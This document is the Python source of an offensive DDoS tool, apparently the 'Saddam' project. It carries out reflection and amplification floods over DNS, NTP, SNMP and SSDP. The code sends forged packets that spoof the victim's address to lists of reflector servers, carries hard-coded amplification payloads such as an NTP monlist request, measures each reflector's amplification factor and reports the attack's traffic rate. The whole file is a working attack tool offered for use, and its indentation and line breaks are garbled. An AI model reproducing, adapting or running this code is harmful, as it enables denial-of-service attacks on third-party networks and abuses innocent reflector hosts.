#!
/usr/bin/env python
import sys
import time
import socket
import struct
import threading
from random import randint
from optparse import OptionParser
from pinject import IP, UDP
USAGE = '''
%prog target.com [options] # DDoS
%prog benchmark [options] # Calculate AMPLIFICATION factor
'''
LOGO = r'''
_____ __ __
/ ___/____ _____/ /___/ /___ _____ ___
\__ \/ __ `/ __ / __ / __ `/ __ `__ \
___/ / /_/ / /_/ / /_/ / /_/ / / / / / /
/____/\__,_/\__,_/\__,_/\__,_/_/ /_/ /_/
https://github.com/OffensivePython/Saddam
https://twitter.com/OffensivePython
'''
HELP = (
'DNS Amplification File and Domains to Resolve (e.g: dns.txt:[evildomain.com|
domains_file.txt]',
'NTP Amplification file',
'SNMP Amplification file',
'SSDP Amplification file',
'Number of threads (default=1)' )
OPTIONS = (
(('-d', '--dns'), dict(dest='dns', metavar='FILE:FILE|DOMAIN',
help=HELP[0])),
(('-n', '--ntp'), dict(dest='ntp', metavar='FILE', help=HELP[1])),
(('-s', '--snmp'), dict(dest='snmp', metavar='FILE', help=HELP[2])),
(('-p', '--ssdp'), dict(dest='ssdp', metavar='FILE', help=HELP[3])),
(('-t', '--threads'), dict(dest='threads', type=int, default=1, metavar='N',
help=HELP[4])) )
BENCHMARK = (
'Protocol'
'| IP Address '
'| Amplification '
'| Domain '
'\n{}').format('-'*75)
ATTACK = (
' Sent '
'| Traffic '
'| Packet/s '
'| Bit/s '
'\n{}').format('-'*63)
PORT = {
'dns': 53,
'ntp': 123,
'snmp': 161,
'ssdp': 1900 }
PAYLOAD = {
'dns': ('{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01'
'{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00'
'\x00\x00\x00\x00\x00\x00'),
'snmp':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c'
'\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01'
'\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06'
'\x01\x02\x01\x05\x00'),
'ntp':('\x17\x00\x02\x2a'+'\x00'*4),
'ssdp':('M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n'
'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
}
amplification = {
'dns': {},
'ntp': {},
'snmp': {},
'ssdp': {} } # Amplification factor
FILE_NAME = 0 # Index of files names
FILE_HANDLE = 1 # Index of files descriptors
npackets = 0 # Number of packets sent
nbytes = 0 # Number of bytes reflected
files = {} # Amplifications files
SUFFIX = {
0: '',
1: 'K',
2: 'M',
3: 'G',
4: 'T'}
def Calc(n, d, unit=''):
i = 0
r = float(n)
while r/d>=1:
r = r/d
i+= 1
return '{:.2f}{}{}'.format(r, SUFFIX[i], unit)
def GetDomainList(domains):
domain_list = []
if '.TXT' in domains.upper():
file = open(domains, 'r')
content = file.read()
file.close()
content = content.replace('\r', '')
content = content.replace(' ', '')
content = content.split('\n')
for domain in content:
if domain:
domain_list.append(domain)
else:
domain_list = domains.split(',')
return domain_list
def Monitor():
'''
Monitor attack
'''
print ATTACK
FMT = '{:^15}|{:^15}|{:^15}|{:^15}'
start = time.time()
while True:
try:
current = time.time() - start
bps = (nbytes*8)/current
pps = npackets/current
out = FMT.format(Calc(npackets, 1000),
Calc(nbytes, 1024, 'B'), Calc(pps, 1000, 'pps'), Calc(bps,
1000, 'bps'))
sys.stderr.write('\r{}{}'.format(out, ' '*(60-len(out))))
time.sleep(1)
except KeyboardInterrupt:
print '\nInterrupted'
break
except Exception as err:
print '\nError:', str(err)
break
def AmpFactor(recvd, sent):
return '{}x ({}B -> {}B)'.format(recvd/sent, sent, recvd)
def Benchmark(ddos):
print BENCHMARK
i = 0
for proto in files:
f = open(files[proto][FILE_NAME], 'r')
while True:
soldier = f.readline().strip()
if soldier:
if proto=='dns':
for domain in ddos.domains:
i+= 1
recvd, sent = ddos.GetAmpSize(proto, soldier,
domain)
if recvd/sent:
print '{:^8}|{:^15}|{:^23}|
{}'.format(proto, soldier,
AmpFactor(recvd, sent), domain)
else:
continue
else:
recvd, sent = ddos.GetAmpSize(proto, soldier)
print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
AmpFactor(recvd, sent), 'N/A')
i+= 1
else:
break
print 'Total tested:', i
f.close()
class DDoS(object):
def __init__(self, target, threads, domains, event):
self.target = target
self.threads = threads
self.event = event
self.domains = domains
def stress(self):
for i in range(self.threads):
t = threading.Thread(target=self.__attack)
t.start()
def __send(self, sock, soldier, proto, payload):
'''
Send a Spoofed Packet
'''
udp = UDP(randint(1, 65535), PORT[proto], payload).pack(self.target,
soldier)
ip = IP(self.target, soldier, udp, proto=socket.IPPROTO_UDP).pack()
sock.sendto(ip+udp+payload, (soldier, PORT[proto]))
def GetAmpSize(self, proto, soldier, domain=''):
'''
Get Amplification Size
'''
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(2)
data = ''
if proto in ['ntp', 'ssdp']:
packet = PAYLOAD[proto]
sock.sendto(packet, (soldier, PORT[proto]))
try:
while True:
data+= sock.recvfrom(65535)[0]
except socket.timeout:
sock.close()
return len(data), len(packet)
if proto=='dns':
packet = self.__GetDnsQuery(domain)
else:
packet = PAYLOAD[proto]
try:
sock.sendto(packet, (soldier, PORT[proto]))
data, _ = sock.recvfrom(65535)
except socket.timeout:
data = ''
finally:
sock.close()
return len(data), len(packet)
def __GetQName(self, domain):
'''
QNAME A domain name represented as a sequence of labels
where each label consists of a length
octet followed by that number of octets
'''
labels = domain.split('.')
QName = ''
for label in labels:
if len(label):
QName += struct.pack('B', len(label)) + label
return QName
def __GetDnsQuery(self, domain):
id = struct.pack('H', randint(0, 65535))
QName = self.__GetQName(domain)
return PAYLOAD['dns'].format(id, QName)
def __attack(self):
global npackets
global nbytes
_files = files
for proto in _files: # Open Amplification files
f = open(_files[proto][FILE_NAME], 'r')
_files[proto].append(f) # _files = {'proto':['file_name',
file_handle]}
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW,
socket.IPPROTO_RAW)
i = 0
while self.event.isSet():
for proto in _files:
soldier = _files[proto][FILE_HANDLE].readline().strip()
if soldier:
if proto=='dns':
if not amplification[proto].has_key(soldier):
amplification[proto][soldier] = {}
for domain in self.domains:
if not amplification[proto]
[soldier].has_key(domain):
size, _ = self.GetAmpSize(proto,
soldier, domain)
if size==0:
break
elif size<len(PAYLOAD[proto]):
continue
else:
amplification[proto][soldier]
[domain] = size
amp = self.__GetDnsQuery(domain)
self.__send(sock, soldier, proto, amp)
npackets += 1
i+=1
nbytes += amplification[proto][soldier]
[domain]
else:
if not amplification[proto].has_key(soldier):
size, _ = self.GetAmpSize(proto, soldier)
if size<len(PAYLOAD[proto]):
continue
else:
amplification[proto][soldier] =
size
amp = PAYLOAD[proto]
npackets += 1
i+=1
nbytes += amplification[proto][soldier]
self.__send(sock, soldier, proto, amp)
else:
_files[proto][FILE_HANDLE].seek(0)
sock.close()
for proto in _files:
_files[proto][FILE_HANDLE].close()
def main():
parser = OptionParser(usage=USAGE)
for args, kwargs in OPTIONS:
parser.add_option(*args, **kwargs)
options, args = parser.parse_args()
domains = None
if len(args)<1:
parser.print_help()
sys.exit()
if options.dns:
dns_file, domains = options.dns.split(':')
domains = GetDomainList(domains)
if domains:
files['dns'] = [dns_file]
else:
print 'Specify domains to resolve (e.g:
--dns=dns.txt:evildomain.com)'
sys.exit()
if options.ntp:
files['ntp'] = [options.ntp]
if options.snmp:
files['snmp'] = [options.snmp]
if options.ssdp:
files['ssdp'] = [options.ssdp]
if files:
event = threading.Event()
event.set()
if 'BENCHMARK'==args[0].upper():
ddos = DDoS(args[0], options.threads, domains, event)
Benchmark(ddos)
else:
ddos = DDoS(socket.gethostbyname(args[0]), options.threads,
domains, event)
ddos.stress()
Monitor()
event.clear()
else:
parser.print_help()
sys.exit()
if __name__=='__main__':
print LOGO
main()